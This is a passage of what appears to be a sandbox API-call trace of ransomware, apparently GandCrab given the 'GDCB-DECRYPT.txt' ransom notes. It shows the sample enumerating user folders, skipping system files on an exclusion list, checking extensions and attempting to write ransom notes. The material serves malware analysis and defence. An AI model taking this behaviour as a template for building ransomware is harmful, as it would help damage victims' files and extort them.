lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0135.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\" [0135.553] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.553] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.553] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.553] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned 112 [0135.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" [0135.553] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x2c7ac0 [0135.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.553] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.553] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.553] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.553] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.553] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt" [0135.553] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0135.553] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.553] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0135.553] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.553] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.554] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\\\GDCB-DECRYPT.txt") returned 129 [0135.554] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.554] GetLastError () returned 0x50 [0135.554] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.554] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\") returned 112 [0135.554] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" [0135.554] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x2c7900 [0135.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.554] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.554] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.554] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt" [0135.554] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.554] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0135.554] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0135.554] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0135.554] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\GDCB-DECRYPT.txt") returned 128 [0135.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.555] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.555] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0135.555] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.555] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.555] lstrcmpW (lpString1="TaskBar", lpString2=".") returned 1 [0135.555] lstrcmpW (lpString1="TaskBar", lpString2="..") returned 1 [0135.555] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="TaskBar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0135.555] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\" [0135.555] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.555] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.555] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned 99 [0135.555] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" [0135.555] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x2c77c0 [0135.555] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.555] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 110 [0135.556] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="Excel 2016.lnk", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="Excel 2016.lnk", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Excel 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Excel 2016.lnk") returned 113 [0135.556] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="File Explorer.lnk", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="File Explorer.lnk", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned 116 [0135.556] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\GDCB-DECRYPT.txt") returned 115 [0135.556] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Mozilla Firefox.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 118 [0135.556] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="OneNote 2016.lnk", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="OneNote 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\OneNote 2016.lnk") returned 115 [0135.556] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="Outlook 2016.lnk", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Outlook 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Outlook 2016.lnk") returned 115 [0135.556] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="PowerPoint 2016.lnk", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="PowerPoint 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\PowerPoint 2016.lnk") returned 118 [0135.556] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.556] lstrcmpW (lpString1="Project 2016.lnk", lpString2=".") returned 1 [0135.556] lstrcmpW (lpString1="Project 2016.lnk", lpString2="..") returned 1 [0135.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Project 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk" [0135.556] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Project 2016.lnk") returned 115 [0135.556] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.556] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.557] lstrcmpW (lpString1="Visio 2016.lnk", lpString2=".") returned 1 [0135.557] lstrcmpW (lpString1="Visio 2016.lnk", lpString2="..") returned 1 [0135.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Visio 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk" [0135.557] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Visio 2016.lnk") returned 113 [0135.557] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.557] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.557] lstrcmpW (lpString1="Word 2016.lnk", lpString2=".") returned 1 [0135.557] lstrcmpW (lpString1="Word 2016.lnk", lpString2="..") returned 1 [0135.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="Word 2016.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk" [0135.557] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Word 2016.lnk") returned 112 [0135.557] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.557] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0135.557] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.557] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.557] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\\\GDCB-DECRYPT.txt") returned 116 [0135.557] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.557] GetLastError () returned 0x50 [0135.557] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.557] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\") returned 99 [0135.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" [0135.557] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x2c79c0 [0135.557] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.557] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.557] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.558] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.558] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.558] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.558] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.558] lstrcatW (in: 